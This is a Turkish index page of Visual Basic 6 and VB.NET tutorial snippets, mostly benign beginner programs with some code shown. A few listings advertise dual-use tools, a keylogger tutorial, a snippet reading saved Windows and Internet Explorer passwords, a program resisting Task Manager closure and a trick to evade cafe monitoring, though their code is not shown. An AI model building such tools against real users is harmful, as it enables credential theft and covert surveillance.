VB.Net ile basit keylogger yapımı (Videolu anlatım)
Bu dersimizde VB.NET ile basit bir şekilde keylogger yapmayı öğreteceğiz
Görüntülü VisualBasic.Net dersleri
Adem AKTEPE tarafından hazırlanan Visual Basic . Net dersleri
Daha fazlasını oku…
VBScript’e giriş dökümanı (2001)
Bu kitapçıktaki örneklerimizi VBScript diliyle yazacağımıza göre, önce hızlı bir VBScript kursu görsek iyi olur. Visual Basic dilini biliyorsanız, VBScript biliyorsunuz sayılır. VBScript, güçlü bir dildir; ancak Netscape firmasının hiç bir zaman Browser’ında istemci tarafında çalıştırılabilecek diller arasında kabul etmemesi sebebiyle VBScript, Web’in istemci tarafında kendisinden bekleneni yapamadı. MS’un Browser’ı Internet Explorer ise VBScript ile yazacağınız İstemci-Tarafı kodları okuyabilir ve icra edebilir.
VBScript kullanımı
Not defterini açalım
Aşağıdaki satırları yazalım
MsgBox “Dikkat”, 64 , “Sistem hatası”
Dosya uzantımız vbs olacak şekilde kaydediyoruz
Visual Basic 6 ile verileri şifrelemek
Visual Basic 6 ile işçi kayıt programı
Fabrikadakı işçi kaydı yapan program 4 tan elabel 1.labela işçi yaka no 2 . labela adı 3.labela soyadı ve 4. labela çalıstıgı brim yazın daha sonra bu labelların karsısına label1 e text1 label 2 ye text2 label 3 e text 3 label 4 e text dört gelecek biçimde ayarlayınız sonra 4 tane buton ekleyin forma 1 butonakaydet 2. butona ara 3. butonatemizle 4. butonaçıkıs yazın sonra formun altına4 tane list ekleyin ayrı ayrı 1 listin adı işçi yaka no 2. list adı ad 3. list adı soyad 4. list adı çalıstıgı brim olsun |
Visual Basic 6 ile Şifreli not defteri
Not defteri gibi bir text editörü.metninizi şifreli kaydedip güvenli hale getirin..Ömer ACAR |
Visual Basic 6 ile Şifre girmeden programınız kapanmasın
Programı kapatmak için şifreyi girmek gerekiyor. Windows’u kapatmaya çalışsa bile kapatamaz, Task Manager (Görev Yöneticisi) den bile kapatamaz… |
Visual Basic 6 ile istediğiniz tuşun ascii kodunu bulmak
Birçok arkadaş tuşların ascii kodlarını arıyor. Buyrun size kolay bi çözüm. |
Visual Basic 6 ile istediğiniz saatte bilgisayarı kapatmak
Girdiğiniz saatte bilgisayarı otomatik olarak kapatan program. Çalıştırıldığında kendisini bildirim alanına otomatik olarak eklemesi özelliği ile istenildiği zaman ayarlanan saat değiştirilebilir veya program sonlandırılabilir. Ayarlanan saat geldiğinde program bilgisayarı kapatmadan önce 10 snlik bir uyarı zamanı verir. Bu zaman içerisinde bilgisayarın kapatılması engellenebilir. |
Visual Basic 6 ile istediğiniz kelimeyi büyük-küçük harfe çevirmek
Bu programda istediğiniz metni seçili yaparak veye metnin tümünü büyük ya da küçük harfe çevirebilirsiniz. |
Visual Basic 6 ile websitesi açtırmak
Visual Basic 6 ile clipboard’ı devamlı yenilemek
İnternet Cafeye gittiğinizde ana makinedeki kafe programı ile sizi gözleyemesinler! |
Merhaba arkadaşlar internet cafede ana makinedeki program sayesinde ne yaptığınızı öğrenenbilirler.Yani bir nevi makinenin screenshotunu(ekran görüntüsünü)alarak sizi izlerler bu resim çekme olayı saniyelerde çoğu kez yapılır.İşte bunun çözümü!Onlar resmi çekerken resim otomatik clipboard’a gider.Biz şimdi clipboarddaki resim yerine başka resmi koyacağız.Bunun için önce PrintScreen diye bir tuş var klavyede önce ona basıp paintte ilgi çekmiyecek bir resim yapın.Sonra bunu jpeg formatında kaydedin çünkü bmp çok büyüktür.Bir form açın ve bunun üzerine bir timer ve bir picture nesnesi koyun.picture nesnesinin picture’sine çektiğiniz resmi koyun.ve bu kodları yazın.
Daha fazlasını oku…
Visual Basic 6 ile internet bağlantısını kontrol etmek
İnternet Bağlantısını Kontrol Etmek |
ÖRNEK: Bilgisayarın internete bağlı olup olmadığını anlayacak kod.
Daha fazlasını oku…
Visual Basic 6 ile internet bağlantısı kontrolü
abdurrahman_yil@hotmail.com |
İşte sizlere mükemmel bir temel !
İstediğiniz yerde istediğiniz şekilde kullanabileceğiniz bir internet algılayıcı API.
Modeminizin o anki durumunu denetleyen API eğer internete bağlıysanız bunu size bildiriyor.Bu sistemin aynısını ICQ Netdedect Programı da kullanıyor. Siz de buna benzer uygulamalar hazırlayabilirsiniz.
Daha fazlasını oku…
Visual Basic 6 ile internet bağlantısı kontrolü
İnternet Bağlantısı Kontrol |
<baslik>İnternet Bağlantısını Kontrol Etme -</baslik>
İnternet Bağlantısını Kontrol Etme
<t>
Merhaba değerli Programlama.Com gönüllüleri. Yaptığınız bu güzel çalışmadan dolayı sizleri tebrik ediyorum. Aslında sayfalarınızı sürekli ziyaret ediyoruz ve her zaman yeni şeylerle sayfalarınızı desteklemek istiyoruz ancak işlerimizden fırsat bulup da bir türlü zaman ayıramıyoruz. Uzun bir aradan sonra iki farklı konuda doküman gönderiyorum. Bunlardan biri aktif internet bağlantısı olup olmadığını anlayacak basit bir kod. Diğeri ise VB ile ekran koruyucu nasıl yazılacağını anlatan daha uzun bir kod.
Bu güzel çalışmalarınızın her zaman devam etmesi dileklerimle.......
Selamlar.....
İhsan KARAGÜLLE
Not: Konular kendi yayımladığım eserlerden alınmıştır. Herhangi bir telif hakkı sorunu yoktur.
<t>
İnternet bağlantısının aktif olup olmadığını kontrol etmek için VB'de herhangi bir komut bulunmaz. Ancak internetle ilgili bir kontrol çalıştırıldığında bunu kontrol ederek aktif bağlantı yoksa, önce bağlantı kurmak için bağlantı penceresini açar. Yine de siz bir komutu kullanmadan önce internete aktif bağlantı olup olmadığını öğrenmek isterseniz bazı API'ler aracılığı ile regisrty dosyasında bulunan SystemCurrentControlSetServicesRemoteAccess yolu altındaki "Remote Connection" anahtarının değerini okuyarak aktif bağlantının olup olmadığını anlayabilirsiniz.
ÖRNEK: Bilgisayarın internete bağlı olup olmadığını anlayacak kod.
Option Explicit
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal alt As String, hKey As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal sKeyValue As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, nSizeData As Long) As Long
Private Sub Form_Load()
Dim hKey As Long, lpData As Long, nSizeData As Long
Dim alt, anahtar
alt = "SystemCurrentControlSetServicesRemoteAccess"
anahtar = "Remote Connection"
If RegOpenKey(HKEY_LOCAL_MACHINE, alt, hKey) = 0 Then
lpData = 0&
nSizeData = Len(lpData)
If RegQueryValueEx(hKey, anahtar, 0&, 0&, lpData, nSizeData) = 0 Then
If lpData <> 0 Then
MsgBox ("İnternet bağlantısı aktif")
Else
MsgBox ("İnternet bağlantısı aktif değil")
End If
End If
RegCloseKey (hKey)
End If
End Sub
<t>İhsan Karagülle
Visual Basic 6 ile imleci hareket ettirmek
Visual Basic 6 ile ikinci dereceden denklem çözmek
ax^2+b*x+c = 0 biçiminde düzenlenmiş ikinci dereceden bir denklemin çözümü için a, b ve c değerlerini girerek çözen bir program. |
Form üzerine 5 adet text kutusu ve bir adet Command buton yerleştiriniz. Aşağıdaki kodu kod penceresinden girerek programı çalıştırabilirsiniz.
Daha fazlasını oku…
Visual Basic 6 ile ikili sisteme çevirmek (Recursive mantığı)
Visual Basic 6 ile iki tarih arasındaki gün sayısını hesaplamak
İki tarih arasındaki gün sayısını hesaplama cok basitt |
herhangi bir sonucta bana msn adresimden ulaşabilrsiniz
mehmetgunes_90@hotmail.com
Visual Basic 6 ile iki sayı arasındaki asal sayılar
Visual Basic 6 ile iki sayı arasındaki asal sayılark bulmak
Forma oncelikle sunları ekleyin: iki tane command button bi tane list box iki tanede text box vede |
General declarations kismina bunlar yazilacak:
Daha fazlasını oku…
Visual Basic 6 ile iki listeden aynı sayıları çıkaran program
Bu program iki listeyi birbiri ile karşılaştırıp aynı olan sayıları 3. bir liste kutusuna ekliyor. |
Bu program için gerekli olan elemanlar;
3 tane liste kutusu
3 tane command buton
UMARIM BEĞENMİŞİNİZDİR. HOŞÇAKALIN
Ym54@mynet.com
VB.NET ile Üçgende kenarlar
Üçgenin eşkenar, ikizkenar yada çeşit kenar olduğunu bulur (yeni başlayanlar için) |
Daha fazlasını oku… |
Visual Basic 6 ile Üçgen çeşitleri
Visual Basic 6 ile Üç notlu bir yazılının ortalamasını almak
Arkadaşlar Üç Notlu Bir Yazılının Ortalamasını Alma İşini Gören Bir Program Yeni Başlayanlar İçin Güzel Bir Uygulama Olacağına İnanıyorum |
Visual Basic 6 ile ÖSS puanı hesaplama programı
Visual Basic 6 ile ilginç saat ve tarih programı yapmak
Yanıp sönen label kayan yazı saat tarih hepsi burda. |
‘Yapılacaklar
‘Labellerden İki Tanesini tanesini Picturebox içine paste edin Birisini Sonuna Birisi Başına
‘Sonra Aşağıdakilerin Aynısını Code Penceresine Paste Edin Dikkat: Code Penceresindeki Herşeyi Silin Yok Program Çalışmaz
‘Program Üzerinde Değişik Şeyler Bulursanız Gönderin,Paylaşalım
Daha fazlasını oku…
Visual Basic 6 ile Ülkeler arası saat
Visual Basic 6 ile Öğrenci notu hesaplayan program
4 adet textbox ve 3 adet command açın. Aşağıdaki kodu yapıştırın. 1 ve sayı 2 olan yer dönem notu olarakta değerlendirilir. |
Visual Basic 6 ile Ölçü birimi dönüşümü
mm dm cm m hm dm km birbirlerine dönüştürür 7 text ve 7 butom bulunmalı. + çıkış butonu |
Visual Basic 6 ile çıkarken açık formları kapatmak
Programınız kapanırken açık formlardan bazıları kapanmıyor ve program açık görünüyorsa bunu ana formun unload kısmına ekleyiniz |
Visual Basic 6 ile Çözünürlük problemine çözüm
Bu kodlar ekran çözünürlüğünü form yüklenince 800*600 yapıyor form kapatılınca (unload) tekrar eski çözünürlük geri geliyor tüm yazılımcılara başarılar….. |
VB.NET ile basit mp3 player yapmak
Sadece 1 buton bir openfiledialog ve windowsmediaplayer ile mp3 player. nesnelri ekleyin ve aşagıdaki kodları yapıştırın |
Visual Basic 6 ile Çizgiyi döndürmek
Yeni başlayanlar için ufak bir örnek |
burda formumuza
1 timer
1 textbox
1 line eklememiz yeterlidir
4 command button
Daha fazlasını oku…
Visual Basic 6 ile Çağrılan programa child gibi davranan program
API kullanarak program çağırma |
Formu yaratıp kodu olduğu gibi kopyalayın.
Kolay gelsin..
VB.NET ile Çarpım tablosu
Visual Basic 6 ile Çalışma-Zamanlı(Run-time) nesne yaratmak
1. Yol – kontrol dizisi(control array) kullanarak kontrol yaratma
bu metot kullanılarak kontrol oluşturmak için, öncelikle bir kontrol dizisi oluşturulmalıdır.
bunun için kontrolden en az bir tane forma eklenmelidir ve bu kontrole bir index değeri verilmelidir.
örnek:
forma bir adet command butonu ve bir adet text kutusu yerleştirerek Text kutusunun index değerini 0 yapalım. Text1 TextBox dizisinin bir elemanı oldu, bundan sonra load ifadesi ile kontrol yaratılabilir.
Visual Basic 6 ile Çalışan programları bulmak ve kapatmak
Program çalışan programların bir listesini veriyor ve istediklerinizi kapatabiliyorsunuz |
Visual Basic 6 ile ürün tutarı hesaplayan program
VB.NET ile penceredeki x (Kapatma) düğmesini etkisizleştirme
Bu kod ile pencerenin köşesindeki X düğmesini etkisiz hale getiriyoruz. |
Visual Basic 6 ile Zorunlu alan kontrolü yapmak
Adı Soyadı girmeden kayıt yapılmıyor. |
Aşagıdaki Kodları Yazıp Deneyin ben sadece kayıt girmede kullandım siz isterseniz Kayıt Silme , Kayıt Değiştirme gibi menülerde kullana bilirsiniz.
KOLAY GELSİN…
Daha fazlasını oku…
Visual Basic 6 ile Yürüyen text box
Yürüyen Text Box |
Formun üzerine bir textbox ve timer yerlestirin ve textbox’in left özelligini koddaki sayilara göre yaptiktan sonra bunu yordamlara geçirin
Daha fazlasını oku…
Visual Basic 6 ile Yuvarlak form yapmak
Bu kodlarla formunuzu yuvarlak haline getirebilirsiniz… |
‘Önce bir commandbutton oluşturun
‘Ve formun borderstyle’ını 0-none yapın
‘Ardından bu kodu kullanın
‘İhtiyacımız olan API’leri alalım
Daha fazlasını oku…
Visual Basic 6 ile Zıplayan top yapımı
Eklenecek nesneler; timer1, shape1 (timer1’in interval özelliğini 10 yapıyoruz) (shape1’in shape özelliğini circle seçiyoruz) |
Visual Basic 6 ile YTL’ye çevirici
YTL Çevirmeni |
Programı yapmak için önce forma 3 label 1 text ve 2 command ekleyelim
Daha fazlasını oku…
Visual Basic 6 ile YTL hesap makinesi
YTL KDV hesaplama. |
Forma 6 adet checkbox,9 adet label, 2 adet maskedbox,2 adet command buton ekleyiniz.
Visual Basic 6 ile Yedekleme programı yapmak
Basit bir yedekleme programı |
Gerekenler;
1 Adet Command Button
2 Adet TextBox
Çalışma Mantığı Kısaca;
Program C: altında Yedek.bat dosyasını aramaz her seferde Yedek.bat dosyasını kendisi oluşturur ve sizin bir sıkıntınız olmaz.
Text1 ve Text2 ye C:\Temp\ örneğindeki gibi sonuna dosya veya *.* belirtmeden girilmelidir. Çünkü kod içerisinde ben *.* diyerek tümünü almasını istedim, istediğiniz gibi oynayın.. Kolay gelsin.
Visual Basic 6 ile Yazıyı sayıya çevirmek
VB.NET ile Yazıyı resime çevirmek
Visual basic.net kullanarak 10 adımda string veriyi resime çevirelim.( Convert text to image in Visual Basic.Net using Graphics namespace, in 10 easy steps.) |
Visual Basic 6 ile Yazılı notu hesaplamak
Visual Basic 6 ile Yazı şifrelemek
Yazılan bir yazıyı her defa da farklı olarak şifreleyen(okunmaz hale getiren) bir uygulama.. |
Visual Basic 6 ile Yazı rengi değiştirmek
Eklenecek Nesneler; CommonDialog1, Text1 (yazı buraya yazılacak) (Yazı yazıldıktan sonra text kutusuna tek tıklamada renk paleti geliyor ve istediğimiz rengi seçip yazı rengini değiştirebiliyoruz…) |
Visual Basic 6 ile Yazı animasyonu yapmak
VB.NET ile yazıyı çarpraz yazdırmak
Formumuza 1 adet buton 2 adet textbox ekliyorux.Textbox2’nin multline özelliğini etkin hale getiriyoruz ve kodlarımızı yazıyoruz |
Visual Basic 6 ile Yazdığınız yazı geri silinsin
Yazdığınız yazı geri silinsin. |
KOD
Dim kar(107), Y, X, harf, uzunluk
Private Sub Command1_Click()
TextBox3.Text = ""
uzunluk = Len(TextBox1.Text)
For X = 1 To uzunluk
harf = Mid(TextBox1.Text, X, 1)
For Y = 1 To 107
If harf = kar(Y) Then
TextBox3.Text = TextBox3.Text & kar(Y + 1)
ElseIf harf = kar(107) Then
TextBox3.Text = TextBox3.Text & kar(1)
End If
Next
Next
End Sub
Visual Basic 6 ile Yardım dosyalarına common dialog’da bağlantı kurmak
Yardım Dosyalarına Common Dialog İle Bağlantı Kurmak |
Project–>Components–>Microsoft Commont Dialog Control `ü components`i seçin . CommonDialog1`i formunuza ekleyin .
Project–>Project1 Properties (? Hangi proje ismini vermişseniz )–>Help File Name `den hazırlamış olduğunuz *.hlp ( ? Hangi help dosya ismini vermişseniz ) dosyasını giriniz . App nesnemizin HelpFile özelliği tasarım aşamasında set edilmiş olur . Ayrıca setup hazırlarken help dosyalarını da otamatik olarak ekletmiş oluruz .
Daha fazlasını oku…
Visual Basic 6 ile Xp botonu yapmak
Xp boton stilinin kaynak kodu |
Visual Basic 6 ile Yürüyen top
Visual Basic 6 ile sitelerdeki formları otomatik doldurmak
Internette Web formlarini Visual Basicle otomatik bir sekilde doldurabilirsiniz. Nasil mi? Iste böyle! |
‘Web-Formlarini otomatik doldurma
‘Gerekli araclar
‘Control CommandButton: cmdFill
‘Control CommandButton: cmdSend
‘Control TextBox: txtTime
‘Control TextBox: txtDate
‘Control TextBox: txtName
‘Control WebBrowser: wbrWebBrowser
‘
‘Yazar: Ulas Isci
‘Email: isci@excite.com
Daha fazlasını oku…
Visual Basic 6 ile Xor’da string şifrelemek
Visual Basic 6 ile Xor operatörü
Xor Operatörü |
Lojik iki ifadenin karsilastirilmasi için kullanilir. Iki ifadeden yalnizca birinin dogru olmasi gereklidir. Eger ikiside dogru olursa sonuc yanlis olur. Genel yazim sekli asagidaki gibidir :
Sonuc=Kosul1 Xor Kosul2
Daha fazlasını oku…
Visual Basic 6 ile Word’de kopyala-yapıştır ve büyük-küçük harf
Forma 1 tane text, 3 tane kes kopyala yapıştır adlı buton ekleyin.2tane de buton ekleyin adları “b” ve “k” olacak .forma bir tane daha buton ekleyin ismi “s” olsun.forma 1 tane daha buton ekleyin ismi “print”polsun.proje refernsinden microsoft word11 object library seçinve forma bir tane word adlı buton koyun. |
Visual Basic 6 ile Word’deki bul ve değiştir
Kullanıcının text1e yazmış olduğu yazılardan istediği kelimeyi bulması için. |
option explicit
dim aranan poz as integer
Daha fazlasını oku…
Visual Basic 6 ile With kullarak daha az kod yazmak
With kullanarak daha az kod yazabilirsiniz |
Merhaba Arkadaşlar ; With Kullanarak Daha Az Kod Yazabilirsiniz ve Programınız Daha Hızlı Çalışır.Peki Bu With Nedir ? Nasıl Kullanılır ? Ne İşe Yarar ? Aklınıza Takılan Tüm Soruların Cevapları ;
With Bir Nesnenin veya Kullanıcı Tanımlı Bir Değişkenin Bir Dizi Deyim İçin Birkez Belirtilmesini Sağlar.With Sayesinde Prosedürler Daha Hızlı Çalışır ve Daha Az Kod Yazmamızı Sağlar.Mesela Bir Nesneye Çok Sayıda Özellik Vereceksek With Kullanmak Daha Mantıklıdır.Örneklerle Daha da İyi Anlayacaksınız.
Örnek ; With Kullanmadan Önceki Kodumuz :
———————————————————————————————-
Daha fazlasını oku…
Visual Basic 6 ile Winsock’da chat örneği
Ip adresini veya bilgisayar adını gidikten sonra bilgisayara bağlanarak veri gönderme… |
Visual Basic 6 ile Winsock örneği
Chat |
öcelikle bir formun üstüne
3 tne text
ekleyin
text1 bire ip no girilecek
text2 bu da mesajların geldiği yer olacak bu yüzden biraz büyük geniş tutun ve multiline özelliğini ture yapın
2 tne command tuşu ekleyin
command1.captionu bağlan
command2.captionu bağlantı bekle yazın
bir tanede label ekleyin
Daha fazlasını oku…
Visual Basic 6 ile restart, oturumu ve bilgisayarı kapatmak
WindowsXP için bilgisayarı kapat, oturumu kapat, yeniden başlat gibi fonksiyonlar. |
Visual Basic 6 ile Windows’un belleğinde kayıtlı şifreleri okumak
Bu code sayesinde DFÜ-birlesimlerinin ve iInternet explorerin passwordlarini okuyabilirsiniz. |
‘Yazar : Ulas Isci
’email: isci@excite.com
‘websayfa:
‘Gereken Araclar
‘Control ListBox: List1
Daha fazlasını oku…
Visual Basic 6 ile Windows’da çalışan bütün programlar
Windowsta calışan bütün programları gösteren programdır.Proğram gizli dahi olsa gözükecektir. |
Visual Basic 6 ile Windows’ta açık olan pencereler
Windowsta açık olan pencerelerin ismini listbox'a ekleyen program |
Visual Basic 6 ile Windows’un simetrik özelliklerini veren kod
Windows’un simetrik özelliklerini veren kod |
Visual Basic 6 ile Windows’u bekleme konumuna almak
Bu örnek Windows’u bekleme konumuna alır. Herhangi bir klavye veya mouse hareketiyle bekleme konumundan çıkabilirsiniz… Bunun için api kullandım. Aşağıdaki kodu forma yapıştırmanız yeterli. Eğer sisteminiz bekleme konumuna girince bir daha geriye dönmüyorsa denemeyin. |
Visual Basic 6 ile en son kullanılan dökümanları silmek
Windows için en son kullanılan dokumanları silmek için |
windows için en son kullanılan dokumanları silmek için kullanılabilecek bir program.
Daha fazlasını oku…
Visual Basic 6 ile Windows tuş kombinasyonları
Windows Tuş Kombinasyonları |
Public Declare Function SystemParametersInfo Lib “user32” Alias “SystemParametersInfoA” (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
Daha fazlasını oku…
Visual Basic 6 ile MCI Api’sini kullanarak her tür ses dosyası açmak
MciSendString API’si, bizim bir ses dosyasını tamamen kontrollü olarak çalabilmemizi sağlıyor. Ek özellikleri De cabası. Eğer media player nesnesinin ocx dosyalarından kurtulmak istiyorsanız gayet iyi ve hızlı bir çözüm. |
Windows Mci Aygıtı ve Kullanımı
Visual basic’te ses ve görüntü üzerinde çalışmak takdir edersiniz ki çok çıldırtıcı bir olaydır. Durmadan araştırma yaparsınız, fakat elinize 235682365 satırlık kodla yanlızca bir MIDI dosyasını çalabilen programlardan başka bir şey geçmez. Fakat burada bu soruna son veriyoruz! Şöyle ki, kullanacağımız tek Api olan mciSendString fonksiyonuyla on-board ses kartlarıyla bile her tür(mp3,wav,midi,audio…) ses dosyası çalacak, ses ayarlayacak, sesin uzunluğunu alacak, her bişeyi yapacaz! Hatta öyle bişey ki, yazının ilerleyen dakikalarında adrenalin seviyeniz tepeye vuracak, salyalarınız sel olup akacak(pardon)
Daha fazlasını oku…
Visual Basic 6 ile Windows’u kapatmak
Visual Basic 6 ile Windows’un hangi modda açıldığını öğrenmek
Windows Hangi Modda Açıldı |
Windows’un hangi modda açıldığı öğrenmek için aşağıdaki kodu yazabiliriz ;
VB.NET ile Web tarayıcı örneği
Firefox ve IE benzeri ama basit bir internet tarayıcı |
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
s_durum.Text = "Sayfa Yüklendi" 'altta durum yazan yerde sayfanın yüklendiği yazıyor
Timer1.Stop() 'zaman işleyişini durdurur
End Sub
Private Sub b_git_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles b_git.Click
Timer1.Start() 'zamanı başlatır
WebBrowser1.Navigate(t_yazi.Text) 'web sayfasına bağlanmayı sağlar
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
s_yuklemedurumu.Value = s_yuklemedurumu.Value + 10 'progressbarın her saniyede 10 birim artmasını sağlıyor
s_durum.Text = t_yazi.Text + " yükleniyor"
If s_yuklemedurumu.Value = 100 Then
s_yuklemedurumu.Value = 0 'yükleme durumunun tamamen dolduktan sonra tekrar başlamasını sağlar if den başlayarak end if e kadar
End If
End Sub
Private Sub WebBrowser1_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
Timer1.Stop()
s_durum.Text = t_yazi.Text + " Yüklendi"
End Sub
Private Sub s_durum_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles s_durum.Click
End Sub
Private Sub s_yuklemedurumu_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles s_yuklemedurumu.Click
End Sub
Private Sub ToolStripButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton1.Click
Dim cevap
cevap = MsgBox("Programı Kapatmak İstiyormusunuz!", MsgBoxStyle.YesNo, "Programı Kapat")
If cevap = vbYes Then
End
End If
End Sub
End Class
VB.NET ile RunTime’da yeni form oluşturmak
Formunuzun içine “yavru form” eklemek için kullanabileceğiniz bir kod örneği. |
Öncelikle formunuzu oluşturun. Ardından bir düğme oluşturun. Formumuzun “Properties” penceresinden ‘IsMdiContainer’ özelliğini bulun ve ‘True’ yapın. Sonrada yeni bir form daha oluşturun. Form1’e gelip düğme kod penceresine şunları yazın :
Daha fazlasını oku…
Visual Basic 6 ile Web adresleri nasıl açılır
Süper web adresi bulma örnegi |
'Asagidaki kodu bir kontrolun click event'ine yaz
Dim iRet As Long
Dim Cevap As Integer
Cevap = MsgBox("www.tdsoftware.wordpress.com adresini açmak istiyor musunuz?", vbInformation + vbYesNo, "www.tdsoftware.wordpress.com")
Select Case Cevap
Case vbYes
iRet = Shell("start.exe http://www.tdsoftware.wordpress.com", vbNormal)
Case vbNo
Exit Sub
End Select
Visual Basic 6 ile Web browser
VB.NET 2005 ile dosya indirmek
VS2005 ile dosya indirme ve indirilen dosyanın otomatik çalıştırılması Öncelikle programımızın daha önceden belirlenmiş bir dosyayı indirebilecek şekilde yapacağımızı belirtmek isterim. İndirilmek istenilen programın değişken olmasını isterseniz kodları ona göre düzenlemeniz gerekecek. |
Visual Basic 6 ile SQL cümleleleri
SQL cümleleleri |
SELECT * FROM kisiler
SELECT adi, soyadi, sicilno, adres FROM kisiler
Daha fazlasını oku…
Visual Basic 6 ile wav dosyasını açmak
Visual Basic’te Wav Dosyasının Çaldırılması |
Daha sonra kod penceresindenGeneral Declarationsalanına aşagıdaki kodu girin.
Private Declare Function sndPlaySound Lib "WINMM.DLL" Alias "sndPlaySoundA" _ (ByVal lpszSoundName As Any, ByVal uFlags As Long) As Long Dim SoundBuffer As Long
Butonların click eventlerinede aşagıdaki kodu giriniz.
Private Sub play_Click()
If CDialog1.filename <>"" Then
SoundBuffer = sndPlaySound(CDialog1.filename, &H2)
If SoundBuffer <>1 Then
MsgBox "File doesn't play.", , "Error"
End If
Else CDialog1.ShowOpen
Text1.Text = CDialog1.filename
End If
End Sub
Private Sub open_Click()
CDialog1.ShowOpen
Text1.Text = CDialog1.filename
End Sub
Private Sub exit_Click()
End
End Sub
Artık programımız çalışmaya hazırdır. Şimdi API kullanımını biraz anlatmaya çalışalım.
Aşagıdaki API Winmm.dll dosyasında bulunan bir fonksiyondur. Declare deyimi ile biz bu fonksiyonu programımızda kullanacagımızı belirtiyoruz. sndPlaySound bizim kullanacagımız fonksiyonun adıdır.
Lib "xxxx" alanı ise bu fonksiyonun kayıltı oldugu library'nin ismidir. Alias alanı ise bu fonksiyonun lib deki takma adıdır. Daha sonra gelen parantez içindeki alanlar ise bu fonksiyona geçilecek olan parametrelerdir. Parantezden sonraki ifade ise fonksiyonun geriye ne tip değer döndürecegini belirten bir parametredir.
Herhangi bir API kullanmak istersek bunu mutlaka Declare deyimi ile programda tanımlamalıyız.
Private Declare Function sndPlaySound Lib "WINMM.DLL" Alias "sndPlaySoundA" _ (ByVal lpszSoundName As Any, ByVal uFlags As Long) As Long
API kullanımı ile ilerliyen haftalarda bir ders anlatılacagı için burada fazla üzerinde durmuyoruz.
CommonDialog kullanılması için ise form üzerine bir commondialog nesnesini yerleştirmemiz gerekiyor.Program çalıştırılınca CommonDialog penceresi form üzerinde gözükmez. Biz istedigimiz zaman gösterebiliriz. CommonDialog nesnesi üzerinde aşagıdaki işlemlerden birini uygulayabiliriz.
Cdialog1.Showopen : Bu özellik ile kullanıcıdan açılmak üzere bir dosya seçmesini saglayabiliriz.
Cdialog1.Showsave : Bu özellik ile kullanıcıdan herhangi bilgilerin kaydedilebilecegi bir dosya seçmesini saglayabiliriz. Cdialog1.Showcolor: Bu şekilde kullanıcı önüne renk paletini getirerek kullanıcının bir renk belirtmesini sağlayabiliriz. Cdialog1.Showfont : Bu ifade ile ise kullanıcıdan sistemde yüklü herhangi bir font özelligini seçmesini sağlayabiliriz. Cdialog1.ShowPrinter : Bununlada kullanıcının yüklü olan printerlardan birini seçmesini sağlayabiliriz.
Daha detaylı bilgiyi ilerde ders konuları içersinde bulabilirsiniz.
Fatih Cihan
TD Software
Visual Basic 6 ile basit bir numara kayıt programı
Visual Basic 6 ile motor kayıt programı
Visual Basic 6 ile yeni bir access veri tabanı oluşturmak
Visual Basic 6 ile resim göstermek
Gerekenler :1 DriveListBox,1 DirListBox,1 FileListBox,5 command butonu,2 TextBox,1 PictureBox |
Visual Basic 6 ile döngü kullanımı
Visual Basic’te Döngü Komutları |
Bu komutlar belirli işlemleri belirli sayıda veya herhangi bir şart sağlanana kadar tekrarlamak amacı ile kullanılırlar. Bu komutlar aşagıda verilmiştir.
Daha fazlasını oku…
Visual Basic 6 ile CD/DVD-ROM’u açmak ve kapatmak
private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Private sub cikart_click() Private sub tak_click() |
Visual Basic 6 ile herhangi bir uygulamayı çağırmak
Visual Basic’den Herhangi Bir Uygulamayı Çağırmak |
Visual Basic uygulamamız içinden başka bir uygulamayı çagırmamız mümükündür. Bunu yaparken Shell fonksiyonunu kullanırız.Bu fonksiyonun kullanış biçimi aşagıdaki şekildeki gibidir.
Daha fazlasını oku…
Visual Basic 6 ile string elemanlarını diziye atmak
Stringin içinde yer alan herhangi bir karakter topluluğunu sondan başa ya da baştan sona doğru diziye atma |
Visual Basic 6 ile diziler
Buradaki örnek kodlar sayesinde Visual Basic deki dizilerin nasıl kullanıldığını öğrenebilirsiniz. |
Bir dizi tanımlamak için normal veri tanımlama komutu olan
Dim, Public, Private komutlarını kullanılır.
Daha fazlasını oku…
Visual Basic 6 ile bat dosyası oluşturmak ve çalıştırmak
Bu örnek ile Visual Basic İçerisinden BAT Dosyası Oluşturabilir ve Çalıştırabilirsiniz… |
Aşağıdaki kodu formun Load olayına yada istediğiniz başka bir yere yerleştirin. Program çalıştırıldığında DOS’a “edit” komutunu verir ve DOS üzerinde çalışan bir metin düzenleyicisi olan “edit”i çalıştırır.
Visual Basic 6 ile müzik çalmak
Visual Basic 6 ile MSSQL server 2000 veritabanını kullanmak
Ben bunu bulabilmek için bir gün boyunca uğraştım ve bulduktan sonra başkalarıyla paylaşmak istedim. Geliştirmek Artık Size Kalmış |
Daha fazlasını oku… |
Visual Basic 6 ile matematik işlemi
Basit bir matematik işlemi yapan program yaratılacaktır. |
Aşagıdaki programda basit bir matematik işlemi yapan program yaratılacaktır.
1-Kullanıcı metin kutusuna, sorulan işlemin sonucunu yazıcak ve check işaretine bastığı zaman, metin kutusunun yanında bu işlemin doğru cevabı görüntülenecektir.Eğer işlem doğru ise aşağıdaki şekil ekranda görüntüleneceltir:
Visual Basic 6 ile çok basit web browser
1 tane combobox,1 tane de (visual basic ide’sinde tools kısmında sag tıklayın,components seceneginde Microsoft internet Controls’u seçin) ekleyin. |
Visual Basic 6 ile DLL yazmak ve kullanmak
